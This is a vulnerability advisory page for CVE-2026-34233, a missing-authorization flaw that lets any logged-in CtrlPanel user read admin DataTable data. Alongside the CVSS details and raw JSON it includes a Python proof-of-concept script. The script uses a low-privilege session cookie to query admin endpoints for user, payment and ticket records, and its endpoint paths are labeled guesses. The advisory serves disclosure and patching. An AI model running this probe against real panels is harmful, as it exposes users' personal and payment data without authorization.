Security Vulnerability Report
中文
CVE-2026-34233 CVSS 6.5 MEDIUM

CVE-2026-34233

Published: 2026-05-19 21:16:43
Last Modified: 2026-05-20 14:06:34

Description

CtrlPanel is open-source billing software for hosting providers. In versions 1.1.1 and prior, multiple admin controllers expose DataTable endpoints without authorization checks, allowing any authenticated user to access sensitive administrative data that should be restricted to administrators only. The affected admin controllers define datatable() methods that are reachable via GET requests but lack any permission or role verification. Because the routes fall under the /admin/ prefix, operators may assume they are protected - however, the middleware applied to this route group does not enforce admin-level authorization on these specific endpoints. As a result, any authenticated user (regardless of role) can query these endpoints and receive paginated JSON responses containing sensitive records. Exploitation can result in enumeration of user PII, payment and transaction records, active voucher and coupon codes, role and permission structure, server ownership mappings and support ticket contents. This issue has been fixed in version 1.2.0.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

CtrlPanel <= 1.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-34233 PoC: Unauthorized Access to Admin DataTables # Replace TARGET_URL with the actual URL # Requires a valid authenticated session cookie (low-privilege user) TARGET_URL = "http://target-panel.com" SESSION_COOKIE = "ctrlpanel_session=low_priv_user_cookie_token" headers = { "Cookie": SESSION_COOKIE, "User-Agent": "CVE-2026-34233-PoC" } # Example vulnerable endpoints based on the description endpoints = [ "/admin/api/users/datatable", "/admin/api/payments/datatable", "/admin/api/tickets/datatable" ] print(f"[*] Checking {TARGET_URL} for CVE-2026-34233...") for endpoint in endpoints: url = TARGET_URL + endpoint try: response = requests.get(url, headers=headers, timeout=5) if response.status_code == 200: # Check if response looks like JSON data (DataTable response) try: data = response.json() print(f"[+] Potential sensitive data leaked from {endpoint}:") print(f" Data keys: {data.keys()}") except ValueError: print(f"[-] Received non-JSON response from {endpoint}") else: print(f"[-] Endpoint {endpoint} returned status {response.status_code}") except Exception as e: print(f"[!] Error connecting to {endpoint}: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34233", "sourceIdentifier": "[email protected]", "published": "2026-05-19T21:16:42.720", "lastModified": "2026-05-20T14:06:33.993", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "CtrlPanel is open-source billing software for hosting providers. In versions 1.1.1 and prior, multiple admin controllers expose DataTable endpoints without authorization checks, allowing any authenticated user to access sensitive administrative data that should be restricted to administrators only. The affected admin controllers define datatable() methods that are reachable via GET requests but lack any permission or role verification. Because the routes fall under the /admin/ prefix, operators may assume they are protected - however, the middleware applied to this route group does not enforce admin-level authorization on these specific endpoints. As a result, any authenticated user (regardless of role) can query these endpoints and receive paginated JSON responses containing sensitive records. Exploitation can result in enumeration of user PII, payment and transaction records, active voucher and coupon codes, role and permission structure, server ownership mappings and support ticket contents. This issue has been fixed in version 1.2.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}, {"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://github.com/Ctrlpanel-gg/panel/releases/tag/1.2.0", "source": "[email protected]"}, {"url": "https://github.com/Ctrlpanel-gg/panel/security/advisories/GHSA-mj5g-j7fq-7hc4", "source": "[email protected]"}]}}